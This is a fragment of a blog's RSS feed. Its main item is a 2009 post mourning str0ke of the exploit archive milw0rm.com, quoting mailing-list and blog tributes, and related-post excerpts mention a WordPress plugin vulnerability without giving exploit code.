undistorted by emotion or personal bias; based on observable phenomena; "an objective appraisal";  "objective evidence"
This morning, my colleague starts sending me quotes from a service request (ticket) he's working. Clear ..."<br /></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.nullamatix.com/pc-maintenance-tips-from-computertooslow/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RIP: str0ke of milw0rm.com</title>
		<link>http://www.nullamatix.com/rip-str0ke-of-milw0rmcom/</link>
		<comments>http://www.nullamatix.com/rip-str0ke-of-milw0rmcom/#comments</comments>
		<pubDate>Wed, 04 Nov 2009 13:51:29 +0000</pubDate>
		<dc:creator>Guy Patterson</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[milw0rm]]></category>

		<guid isPermaLink="false">http://www.nullamatix.com/?p=691</guid>
		<description><![CDATA[** update **
See anon's comment below.
http://twitter.com/str0ke/status/5422531377
***
I first heard the sad news from Michael on the Full-disclosure mailing list. 
On Wed, Nov 4, 2009 at 9:19 AM, Micheal Turner  wrote:
We are mourning a good friend today. I first begun talking to str0ke when I started publishing exploit codes onto this mailing list, he would always [...]]]></description>
			<content:encoded><![CDATA[<p>** update **</p>
<p><a href="http://www.nullamatix.com/rip-str0ke-of-milw0rmcom/#comment-49792">See anon's comment below.</a></p>
<p>http://twitter.com/str0ke/status/5422531377</p>
<p>***</p>
<p>I first heard the <a href="http://seclists.org/fulldisclosure/2009/Nov/25">sad news</a> from Michael on the Full-disclosure mailing list. </p>
<blockquote><p>On Wed, Nov 4, 2009 at 9:19 AM, Micheal Turner <wh1t3h4t3@yahoo.co.uk> wrote:<br />
We are mourning a good friend today. I first begun talking to str0ke when I started publishing exploit codes onto this mailing list, he would always be polite and friendly in his emails. I got to know him over the years and am saddened by his departure, he contributed to the exploit scene and hacking subculture in a huge way. The last time I talked with him I asked him if I could interview him for my blog, he laughed and said he should be interviewing the exploit writers since he didnt do anything. That was str0ke and str0ke did alot, he always fought for the rights of the exploit developers and his website was the bread and butter of many a hackers day. He will sadly be missed by many people, hackers &#038; friends.</p>
<p>At least now we can post exploits without that damn // milw0rm.com comment being added to the end!!! <img src='http://static.nullamatix.com/includes/images/smilies/icon_wink.gif' alt=';-)' class='smiley' />  I joke, this code is dedicated to you str0ke. R.I.P my friend.</p></blockquote>
<p><span id="more-691"></span></p>
<p>And eventually found an article from a blogspot blog with more details. Here's <a href="http://bl4cksecurity.blogspot.com/2009/11/str0ke-milworms-funeral-is-this-friday.html">BL4CK's post</a>: </p>
<blockquote><p>Tuesday, November 3, 2009 - Str0ke @ Milworm's Funeral is This Friday</p>
<p>Many of us have wondered where str0ke has been and why milw0rm has not been updated in a good while. I recently was informed that str0ke has been hospitalized due to a strange condition with his heart, which he has had since he was a child.</p>
<p>Sadly....</p>
<p>I've just received information that str0ke @ milw0rm has passed away due to cardiac arrest early this morning at 9:23 AM. We @ blacksecurity are deeply saddened by the loss of a good hearted friend.</p>
<p>We wish nothing but blessing to his wife and 4 children.</p>
<p>RIP str0ke 1974-04-29 - 2009-11-03 09:23</p></blockquote>
<p>Always seems the good people are the first to go. May peace be with you and your family, str0ke. You'll be missed... </p>
<h3>See Also:</h3><ul class="related_post"><li>01/06/2008 -- <a href="http://www.nullamatix.com/wordpress-users-beware-new-vulnerability-release/" title="Wordpress Users, Beware &#8211; New Vulnerability Release">Wordpress Users, Beware &#8211; New Vulnerability Release</a><br /><strong>Excerpt</strong>: "Milworm has announced a new exploit for the Wordpress Plugin, WP-Filemanager 1.2. The hole lets attackers upload pretty much anything they want, including evil PHP scripts.

For the details, check out: http://www.milw0rm.com/exploits/4844

If you don't ..."<br /></li><li>12/31/2007 -- <a href="http://www.nullamatix.com/updates-and-a-happy-new-year/" title="Updates and a Happy New Year">Updates and a Happy New Year</a><br /><strong>Excerpt</strong>: "A recently released Wordpress vulnerability proof of concept forced me to update Wordpress, and as a result, several plug-ins are now failing to work properly. I don't regret performing the update because not only were the security holes patched, but database ..."<br /></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.nullamatix.com/rip-str0ke-of-milw0rmcom/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
